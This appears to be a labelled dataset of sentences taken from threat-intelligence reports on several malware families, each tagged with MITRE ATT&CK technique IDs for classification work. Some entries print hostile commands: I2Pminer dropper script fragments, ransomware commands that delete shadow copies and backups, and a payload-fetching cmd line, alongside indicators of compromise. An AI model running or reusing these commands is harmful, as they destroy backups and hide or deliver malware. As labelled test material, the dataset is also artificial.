utilized open-source reverse proxy tools to expose local devices located behind a NAT or firewall, to the Internet.", "labels": ["T1090"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Figure 15 displays the reverse SOCKS proxy activity on the infected device using the open-source tool FRP.", "labels": ["T1090"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Attribution EclecticIQ analysts assess with moderate confidence that the infrastructure was operated by a Chinese threat actor.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Deploy firewalls to block traffic from known C&C domains or IP addresses.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Disable the \"Create global objects\" user right:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "[2] zan8in, “afrog.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "[5] “projectdiscovery/nuclei: Fast and customizable vulnerability scanner based on simple YAML based DSL.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "https://github.com/projectdiscovery/nuclei (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Available: https://github.com/shadow1ng/fscan (accessed: Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Available: https://github.com/AlessandroZ/LaZagne (accessed: Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "https://github.com/uknowsec/SharpCheckInfo (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "https://nvd.nist.gov/vuln/detail/CVE-2021-3129 (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"} {"sentence": "Found in Environments Protected By: Proofpoint By Nathaniel Raymond, Cofense Intelligence Gh0st RAT, a decades-old open-source remote administration tool (RAT), recently appeared in phishing campaigns targeting a healthcare organization.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"} {"sentence": "Although Ghost RAT has a history of use by nation-state threat actors, Cofense Intelligence does not have conclusive evidence that this recent campaign is associated with known nation-state activity.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"} {"sentence": "The activity we observed activity shares certain characteristics with some advanced persistent threat (APT) groups, including APT27, which is known for intellectual property theft against healthcare and technology companies, and is also known for the use of Gh0st RAT.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"} {"sentence": "Indicators of Compromise Files 1680478346389.zip MD5: 9e6c45b6b8b20bf3c5959dbba8f27117 LiveUpdate360.dat MD5: f149d3f3ef0361ebe4d346811f29b527 LiveUpdate.exe MD5: 96e4b47a136910d6f588b40d872e7f9d setting.ini MD5: 91aab4bbe634be62d11d132738c23a82 SqlVersion9.dll MD5: 317f9ff06c076e87e5b1d11242396d5f ú¿╡τ-╫╙-╖ó-╞▒ú⌐.exe MD5: 4723a2a8f68c1eaf82809cff29b8e56f URLs hxxps://api[.]youkesdt[.]asia/admin/down/hash/79b7c6ed-c4d8-4b36-b1cd-f968e6570010 hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/SqlVersion9[.]dll hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/Media[.]xml hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate360[.]dat hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate[.]exe hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/223[.]114[.]txt Command and Control hxxp://61[.]160[.]223[.]114:18076 All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"} {"sentence": "The Cofense:registered: and PhishMe:registered: names and logos, as well as any other Cofense product or service names or logos displayed on this blog are registered trademarks or trademarks of Cofense Inc.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"} {"sentence": "The CrowdStrike Falcon platform provides continuous protection against cryptomining threats by delivering real-time visibility across workloads to protect customers.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Technical Analysis This campaign lures the victim into believing that they are installing a legitimate application for successful execution.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "It is typical for DMGs to instruct users to drag and drop application bundles from the mounted disk image to the application folder.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Therefore, it executes when the application bundle is launched.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Both of these methods produce files with the syntax of ._[a-zA-Z]{8} (e.g., ._JdYdPLMq).", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "In order to appear as a working copy of Logic Pro X, the dropper contains a legitimate copy of the lure application.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper starts by generating a script to decode the legitimate Mach-O file.", "labels": ["T1140"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "In order to unpack the legitimate binary, the previously written Base64 file is decoded and unarchived.", "labels": ["T1027", "T1140"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The contents are saved to /tmp/._[a-zA-Z]{10}/Logic Pro X.app/Contents/MacOS/Logic Pro X.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper then forks itself in order to launch the legitimate application.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The forked process makes a call to execl to execute the legitimate Logic Pro X application located in /tmp/.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Usage of i2pd enables other processes on the computer to tunnel traffic to the I2P network.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "I2P is configured and used by the dropper to download the mining tooling but also to proxy the miner’s network communications.", "labels": ["T1090"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script is executed as a /bin/sh subprocess.", "labels": ["T1070.004"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This is done to evade detection but also to open up the opportunity to reuse the same randomly generated filename for the actual i2pd binary.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The dropper generates and executes a script to download, configure and execute a copy of a XMRig miner.", "labels": ["T1105"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "After this file is detected, the XMRig downloader starts a second I2P Daemon process and saves the new pid to /tmp/i2pd.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script then enters a download loop that contains two subloops, one to download the MD5 hash of the XMRig payload, and a second to download the XMRig payload.", "labels": ["T1105"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Similar to the ip2d process, it is executed via an exec -a call utilizing a process name of /System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_local Next, the XMRig Download Script sends the XMRig miner a config via the XMRig miner’s native API.", "labels": ["T1106"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The script enters a final loop to once again check for the presence of an Activity Monitor process.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "This is also a universal binary supporting both x86_64 and ARM architectures.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Defense Evasion The dropper binary and its scripts utilize a number of techniques to avoid detection.", "labels": ["T1036.005"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The i2pd and XMRig binaries are padded with a random number of zero bytes to change its hash and expand its size.", "labels": ["T1027"], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "They also both use CoreServices framework binaries as the execution name.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "These variants are distributed by a malicious application bundle that contains a setup script, legitimate application and Mach-O dropper.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "The variants utilize the same variable names and directory naming schema, and also date back to Summer 2021.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "It was discovered that some preventions already applied to the variants before it was known to our researchers.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "To reinforce the layered approach, our teams have since added even more coverage, resulting in several preventions that apply to various stages in the chain.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "MITRE ATT&CK Framework Tactic Technique Description Execution Command and Scripting Interpreter:", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "Command and Control Protocol Tunneling (T1572) XMRig download and mining communications are tunneled through the I2P network layer.", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"$TMPDIR\";( find \"$SCRIPTPATH\" -type d -mindepth 1 -maxdepth 1 -exec ln -s", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "-rf \"$APP_MACH\";CT=$(mktemp /tmp/._XXXXXXXX);cat \"$BLOB_PATH\" | base64 -o \"$CT\" -d;tar -xf", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"$0\";rm -rf \"$I2PCTMPFILE\";chmod +x \"$0\";(( exec -a \"/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_shared\" \"$0\" ) & echo $! >", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "/dev/null 2>&1;pkill", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "tar -xf \"$d_p\" -O > \"$TMPFILE\"; rm -rf \"$d_p\"; mv \"$TMPFILE\" \"$d_p\"; head -c $rnd_sz /dev/zero >>", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"$d_p\"; chmod +x \"$d_p\"; (( exec -a \"/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_local\" \"$d_p\" ) & echo $! >", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "\"/tmp/i2pd/._pid\"); PIDW=$(cat \"/tmp/i2pd/._pid\") && rm -rf \"/tmp/i2pd/._pid\"; sleep 9; XARCH=$(uname -m); [[ \"$XARCH\" == \"x86_64\" ]] && HP=true ||", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "/dev/null 2>&1; [ \"$PIDW\" !", "labels": [], "doc_title": "CrowdStrike Uncovers I2Pminer MacOS Mineware Variant"} {"sentence": "In addition to sharing the dashboard panel image, the security researcher also provided images of the RaaS builder page and accompanying samples associated with this specific ransomware family.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "This flexibility allows affiliates to tailor their approach and encryption strategy based on their specific requirements or preferences.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "Computer\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin = “0” Kill Processes/Services After bypassing UAC, the ransomware terminates several processes, including 360doctor, GDscan, RTVscan, Apache, CCleaner, OneDrive, and others, if they are currently running on the victim’s machine.", "labels": ["T1548.002"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "Following this, the malware proceeds to drop a ransom note named “HOW_TO_RECOVER_FILES.txt” in multiple directories.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "Figure 8 – MoveFileW() API", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "Figure 9 – Files encrypted by NoEscape Ransomware Delete System Backup & Shadowcopy Additionally, the ransomware runs a series of commands to delete shadow copies and system backups, effectively preventing file recovery attempts.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "CommandsDescriptionwmic SHADOWCOPY DELETE /nointeractiveThis command uses the Windows Management Instrumentation Command-line (WMIC) to delete all shadow copies without user interaction.", "labels": ["T1047"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "It helps remove any remaining shadow copies that may not have been deleted by the other commands.wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldestThis command uses the wbadmin tool to delete the oldest system state backup.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "{default} bootstatuspolicy ignoreallfailuresThis command also uses bcdedit to modify the boot configuration data.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "Each of these files serves specific purposes and contributes to the overall functionality of the Linux variant of the ransomware.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "Its purpose is to increase the maximum number of open file descriptors and the maximum number of allowed processes.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "It then calls ExecPayload() for each file to execute the Ransomware payload, thereby initiating the encryption process.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "Cleanup() – This function performs cleanup operations after encrypting files in the victim’s machine.", "labels": ["T1027"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "Ransomware Targeting Vmware ESXi Servers The “script_esxi.sh” script is designed to automate the execution of ransomware payload “164f8295_linux.elf” on ESXi servers.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "It also kills any remaining processes related to VMs.", "labels": [], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "ScanVMS() – This function scans VM volumes on an ESXi server.", "labels": ["T1083"], "doc_title": "Evasive NoEscape Ransomware Uses Reflective DLL Injection"} {"sentence": "The threat actors used certificates from Nvidia and Kuwait Telecommunications Company to sign their malware; the former was already leaked, but we’re not sure how they got their hands on the latter.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "We identified potential cooperation between different attack groups speaking different languages, and the possible use of AnyDesk as an initial entry point to start the ransomware/wiper infections.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "If ransomware execution fails because the correct arguments are not supplied, the wave 2 sample displays a different message from that of wave 1; the wave 2 message resembles an error message displayed by a PDF to DOC converter.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "When comparing wave 2 ransomware samples to wave 1, we notice that both have the same , and both use CreateFile and WriteFile APIs to overwrite files.", "labels": ["T1106"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "The encryption algorithm used is RC4 in both wave 1 and wave 2.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "However, the RC4 key for decryption in wave 2 has been changed in another attempt to evade detection.", "labels": ["T1140"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "Wave 1 RC4 key: 8C E4 B1 6B 22 B5 88 94 AA 86 C4 21 E8 75 9D F3 Wave 2 RC4 key: F0 B4 ED D9 43 F5 C8 43 C9 D0 A2 4F 22 9B BC 3A It’s worth noting that in both waves, the RC4 decryption method uses CryptoAPI (CryptDecrypt) instead of the usual substitution box method.", "labels": ["T1140"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "Ransom note in both wave 1 and wave 2 ransomware The wiper – use of Nvidia signing certificate MD5 64cb923be15ae255b82e7ebcf24ccfc5 SHA1 e1b8b72fbd1e3b9bbf8bebd2e14a3f2e071c6048 SHA256 d8ec8ec8dfa582c44e81b8a7fcc44defc3d2fa658f75fa495124aedc3b0db367 Imphash 81CA8B811412284938148FC4F2A76C09 Link time 0x6319C758 (Thu Sep 08 03:43:36 2022)", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "However, in the first attack wave targeting Albania, the threat actor signed the wave 1 wiper using the Kuwait Telecommunications Company certificate, thus removing the need for a third-party loader.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "In wave 1, the wiper malware expected to find the raw disk driver in the execution directory or in the system directory.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "In addition, the driver being used by the threat actor in wave 2 seems to copy metadata and a few functions from Microsoft’s diskdump.sys crash dump driver[1] (version 10.0.19041.1682) as another means to avoid detections.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "Finally, for defenders we can highlight two important elements from the intrusion and malware analysis presented here: Monitor for remote software activities such as AnyDesk for unauthorized use Always hunt and monitor for expired and/or leaked signing certificates as they can be used by threat actors to load and execute malware Threat detection", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "The detection logic has been improved in all our solutions to ensure that our customers remain protected.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "Win32.Agent.gen Trojan-Ransom.Win32.Gen.aghh Trojan-Ransom.Win64.Agent.dpf Trojan.Win32.Agentb.kzkj Indicators of compromise File hashes (malicious documents, Trojans, emails, decoys) Ransomware Wiper Driver Signing certificates serial numbers 14 78 1B C8 62 E8 DC 50 3A 55", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"} {"sentence": "We continue to track the group’s activities and this October we observed the adoption of new malware strains in its arsenal.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "To do this, optical disk image (.iso extension) and virtual hard disk (.vhd extension) file formats were used.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "In addition, the group tested different file types to refine malware delivery methods.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Also, they created numerous fake domains that look like venture capital and bank domains.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Background At the end of September 2022, we observed new BlueNoroff malware in our telemetry.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "and .vhd, to deliver their malware.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Unfortunately, we couldn’t acquire the document, but it was executed from the following path: C:\\Users\\[username]\\Desktop\\SALES", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "%Profile%\\cr.dat Spawned command: cmd.exe %Profile%\\cr.dat 5pKwgIV5otiKb6JrNddaVJOaLjMkj4zED238vIU= After initial infection, we observed several keyboard hands-on activities by the operator.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Through the implanted backdoor, they attempted to fingerprint the victim and install additional malware with high privileges.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Upon infection, the operator executed several Windows commands to gather basic system information.", "labels": ["T1059.003", "T1082"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "The archive file we recently discovered contained a password-protected decoy document and a shortcut file named “Password.txt.lnk“.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Updated method #1: Tricks to evade MOTW flag We observed that the actor examined different file types to deliver their malware.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "In order to avoid this mitigation technique, more threat actors have started abusing ISO file types.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "The BlueNoroff group likely experimented with ISO image files to deliver their malware.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "At the time of analysis, this .vhd sample wasn’t detected by any antivirus.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "The malware first acquires the total size of the configuration data and the length of the payload URL from the end of the file.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "They are located four bytes and eight bytes from the end of the file, respectively.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "The malware decrypts the configuration data with the RC4 algorithm using an embedded 64-byte key.", "labels": ["T1140"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "timeout /t 10 & Del /f /q", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "timeout /t 10 & rundll32 \\”[current DLL file path]\\” #1 The primary objective of this malware is to fetch the next stage payload.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "/y", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "echo {PASSWORD}>%documents%\\Userlink & notepad.exe %documents%\\Userlink # Fetch the payload with cURL command and execute. cmd.exe\" /c", "labels": ["T1059.003", "T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "This malware (MD5 087407551649376d90d1743bac75aac8) spawns a fake password file while fetching a remote payload and executing it.", "labels": ["T1105"], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Domain IP ISP ASN offerings.cloud docs.azure-protection.cloud bankofamerica.us.org 104.168.174.80 Hostwinds LLC.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "AS54290 offerings.cloud perseus.bond docs.azure-protection.cloud avid.lno-prima.lol 152.89.247.87 combahton GmbH AS30823 offerings.cloud 172.86.121.130 HIVELOCITY AS29802 www.capmarketreport.com 149.28.247.34 The Constant Company, LLC AS20473 ms.msteam.biz www.onlinecloud.cloud 155.138.159.45 The Constant Company, LLC AS20473 The actor usually used fake domains such as cloud hosting services for hosting malicious documents or payloads.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Indicators of compromise Downloader 087407551649376d90d1743bac75aac8 regsile.exe Cur1Agent downloader f766f97eb213d81bf15c02d4681c50a4 61a227bf4c5c1514f5cbd2f37d98ef5b 4c0fb06320d1b7ecf44ffd0442fc10ed d8f6290517c114e73e03ab30165098f6 Loader d3503e87df528ce3b07ca6d94d1ba9fc E:\\Readme.exe 931d0969654af3f77fc1dab9e2bd66b1 Job_Description.", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "Visual Basic User Execution: Malicious Link User Execution: Malicious File Persistence T1547.008 Boot or Logon Autostart Execution: LSASS Driver Defense Evasion T1027.002 T1497.001 T1055.002 T1553.005 T1218.007 T1218.011 T1221 Obfuscated Files or Information: Software Packing Virtualization/Sandbox Evasion:", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "System Checks Process Injection: Portable Executable Injection Subvert Trust Controls: Mark-of-the-Web Bypass System Binary Proxy Execution: Msiexec System Binary Proxy Execution: Rundll32 Template Injection Command and Control T1071.001 Application Layer Protocol: Web Protocols Exfiltration T1041 Exfiltration over C2 Channel", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "[1] APT Intel report: BlueNoroff Launched a New Campaign To Attack Cryptocurrency Business", "labels": [], "doc_title": "BlueNoroff introduces new methods bypassing MoTW"} {"sentence": "IcedID is a malware originally classified as a banking malware and was first observed in 2017.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "In November 2022, Proofpoint researchers observed the first new variant of IcedID Proofpoint dubbed “IcedID Lite” distributed as a follow-on payload in a TA542 Emotet campaign.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "attachments, which led to the Forked variant of IcedID.", "labels": ["T1566.001"], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Additionally, based on artifacts observed in the codebase, timing and association with Emotet infections, Proofpoint researchers suspect the initial developers of Emotet have partnered with IcedID operators to expand their activities including using the new Lite variant of IcedID that has different, unique functionality and likely testing it via existing Emotet infections.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "The Lite IcedID variant has only been observed following TA542 Emotet infections, but Proofpoint cannot definitively attribute the Lite variant to TA542 as follow-on infections are typically outside of researchers’ visibility.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "The following are threat actors frequently associated with IcedID. TA578 – Proofpoint has observed TA578 deliver IcedID in campaigns since June 2020.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "TA577 – Proofpoint has observed TA577 use IcedID in limited campaigns since February 2021.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Example 1: IcedID Standard Campaign Proofpoint observed a campaign with over 2,800 messages on 10 March 2023.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Figure 6: Intermediate PowerShell downloader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "This pulled the next stage – the Standard IcedID Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "ariopolanetyoa[.]com ProjectID: 3278418257 Standard IcedID Bot Configuration: C2:", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "The emails were personalized to the recipient by using the recipient’s name in the greeting of the email.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "These messages contained Microsoft OneNote attachments (.one).", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Figure 7: Screenshot of email sample from the 3 February IcedID campaign.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Figure 8: OneNote attachment containing the “open” button that hides the HTA file.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Figure 9: Screenshot of HTA displayed in a text editor.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "This campaign included two different email lures: 1) a recall notice purporting to be from the National Traffic and Motor Vehicle Safety Act; and 2) a violation purporting to be from the U.S. Food and Drug Administration (FDA).", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "The batch file would download and execute an IcedID loader with rundll32 using a non-standard export: \"PluginInit\".", "labels": ["T1059.003", "T1105", "T1218.011"], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Figure 19: Raw response from the loader C2 containing the encrypted bot and DLL loader.", "labels": ["T1027", "T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "The following shows the thread function for the Forked DLL Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Figure 27: Functions that have been removed within the Forked Bot.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Figure 30: Commandline output showing the decrypted botpack structure.", "labels": ["T1140"], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Loader.dll was initially used within IcedID to refer to the Lite Loader back when it was dropped via Emotet infections in November, but that same build name is now being used within the Forked DLL Loader.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Ultimately, there seems to be considerable effort going into the future of IcedID and the malware’s codebase, including the addition of two new variants described in this report.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "Proofpoint anticipates that while many threat actors will continue to use the Standard variant, it is likely the new variants will continue to be used to facilitate additional malware attacks.", "labels": [], "doc_title": "Fork in the Ice The New Era of IcedID"} {"sentence": "We focus on the specific targeting of expert analysts of North Korean affairs by impersonating NK News and stealing NK News credentials, and provide details on used TTPs to support collaborative hunting and detection efforts.", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "A hallmark of the activity we discuss in this post is Kimsuky’s focus on establishing initial contact and developing a rapport with their targets prior to initiating malicious activities.", "labels": [], "doc_title": "Kimsuky Strikes Again New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"} {"sentence": "As part of their initial contact strategy, the group impersonated Chad O’Carroll, the founder of NK News and the associated holding company Korea Risk Group, using an attacker-created domain, nknews[.]pro, which closely resembles the legitimate NK News domain 